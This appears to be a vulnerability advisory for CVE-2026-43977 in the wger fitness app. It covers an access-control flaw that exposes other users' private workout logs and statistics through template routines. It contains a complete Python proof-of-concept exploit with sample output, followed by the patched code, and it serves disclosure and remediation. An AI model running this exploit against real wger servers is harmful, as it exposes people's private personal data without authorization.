wger CVE-2026-43977

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    if obj.is_template:
# ← any template is readable
        return request.method in permissions.SAFE_METHODS
# by any authenticated user

    return False

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    out = LogDisplaySerializer(
        self.get_object().logs_display(),
# ← returns OWNER's logs, not request.user's
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    out = LogStatsDataSerializer(
        self.get_object().calculate_log_statistics()
# ← owner's statistics
    ).data
    return Response(out)

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:   GET /api/v2/routine/{id}/logs/
          GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE_URL = "http://TARGET_IP"
# replace with target


def get_token(username, password):
    r = requests.post(
        f"{BASE_URL}/api/v2/token",
        json={"username": username, "password": password},
    )
    r.raise_for_status()
    return r.json()["access"]


def exploit(attacker_token):
    headers = {"Authorization": f"Bearer {attacker_token}"}
# Step 1: Enumerate all public template routines (from ALL users)
    print("[*] Step 1: Enumerating public template routines...")
    r = requests.get(
        f"{BASE_URL}/api/v2/routine/",
        params={"is_template": "true", "is_public": "true"},
        headers=headers,
    )
    routines = r.json().get("results", [])
    print(f"[+] Found {len(routines)} public template routine(s)\n")

    for routine in routines:
        routine_id = routine["id"]
        routine_name = routine["name"]
        print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")
# Step 2: Fetch the OWNER's workout session logs (IDOR)
        logs_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
            headers=headers,
        )

        if logs_r.status_code == 200:
            sessions = logs_r.json()
            print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
            for session in sessions:
                s = session.get("session", {})
                print(f"    Date:       {s.get('date')}")
                print(f"    Notes:      {s.get('notes')}")
# ← private user notes
                print(f"    Impression: {s.get('impression')}")
                print(f"    Logs:       {len(session.get('logs', []))} exercise entries")
                print()
# Step 3: Fetch the OWNER's training statistics (IDOR)
        stats_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
            headers=headers,
        )

        if stats_r.status_code == 200:
            stats = stats_r.json()
            print(f"[+] Training statistics for routine #{routine_id}:")
            volume = stats.get("volume", {}).get("mesocycle", {})
            print(f"    Total volume:      {volume.get('total')} kg")
            print(f"    Upper body volume: {volume.get('upper_body')} kg")
            print(f"    Lower body volume: {volume.get('lower_body')} kg")
            print()

        print("-" * 60)


if __name__ == "__main__":
# Attacker uses their OWN credentials (no privilege needed)
    print("[*] Authenticating as attacker (bob)...")
    token = get_token("bob", "bobpassword")
    print(f"[+] Token acquired\n")

    exploit(token)

[*] Authenticating as attacker (bob)...
[+] Token acquired

[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)

[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
    Date:       2024-06-15
    Notes:      SECRET workout note      ← alice's private note
    Impression: 3
    Logs:       0 exercise entries

[+] Training statistics for routine #1:
    Total volume:      0.00 kg
    Upper body volume: 0.00 kg
    Lower body volume: 0.00 kg

# wger/manager/api/views.py

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    routine = self.get_object()
# Only return logs for the requesting user, regardless of routine ownership
    out = LogDisplaySerializer(
        routine.logs_display(user=request.user),
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    routine = self.get_object()
    out = LogStatsDataSerializer(
        routine.calculate_log_statistics(user=request.user)
    ).data
    return Response(out)

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True
# Template routines are readable, but only their structure
# never their owner's personal training history
    if obj.is_template and view.action not in ('logs', 'stats'):
        return request.method in permissions.SAFE_METHODS

    return False